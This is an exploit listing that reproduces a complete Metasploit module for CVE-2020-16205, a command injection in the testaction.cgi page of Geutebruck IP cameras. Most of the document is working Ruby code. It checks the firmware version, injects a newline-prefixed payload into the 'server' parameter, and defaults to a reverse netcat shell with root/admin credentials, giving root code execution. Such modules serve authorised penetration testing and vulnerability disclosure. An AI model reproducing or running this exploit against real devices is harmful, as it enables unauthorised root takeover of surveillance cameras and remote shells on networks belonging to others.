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Geutebruck testaction.cgi Remote Command Execution

Geutebruck testaction.cgi Remote Command Execution
Posted Aug 17, 2020
Authored by Davy Douhine | Site metasploit.com

This Metasploit module exploits an authenticated arbitrary command execution vulnerability within the 'server' GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware versions 1.12.13.2 and 1.12.14.5 when the 'type' GET parameter is set to 'ntp'. Successful exploitation results in remote code execution as the root user.

tags | exploit, remote, arbitrary, cgi, root, code execution
advisories | CVE-2020-16205
MD5 | 1808f8c08c4e0f56746b33c5880b103d

Geutebruck testaction.cgi Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Geutebruck testaction.cgi Remote Command Execution',
'Description' => %q{
This module exploits an authenticated arbitrary command execution vulnerability within the 'server'
GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,
ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware
versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.
Successful exploitation results in remote code execution as the root user.
},

'Author' =>
[
'Davy Douhine' # ddouhine
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2020-16205' ],
[ 'URL', 'http://geutebruck.com' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/icsa-20-219-03' ],
[ 'URL', 'https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/' ]
],
'DisclosureDate' => 'May 20 2020',
'Privileged' => true,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_ARMLE],
'Targets' => [
[ 'Automatic Target', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
}
)
)

register_options(
[
OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'root' ]),
OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('TARGETURI', [true, 'The path to the testaction page', '/uapi-cgi/admin/testaction.cgi']),
]
)
end

def firmware
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => '/brand.xml'
)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

res_xml = res.get_xml_document
@version = res_xml.at('//firmware').text
return true
end
end

def check
result = firmware
return result unless result == true

version = Gem::Version.new(@version)
vprint_status "Found Geutebruck version #{version}"
if version < Gem::Version.new('1.12.0.25') || version == Gem::Version.new('1.12.13.2') || version == Gem::Version.new('1.12.14.5')
return CheckCode::Appears
end

CheckCode::Safe
end

def exploit
print_status("#{rhost}:#{rport} - Attempting to exploit...")
send_request_cgi(
{
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'type' => 'ntp', 'server' => "\n#{payload.encoded}" }
}
)
end
end
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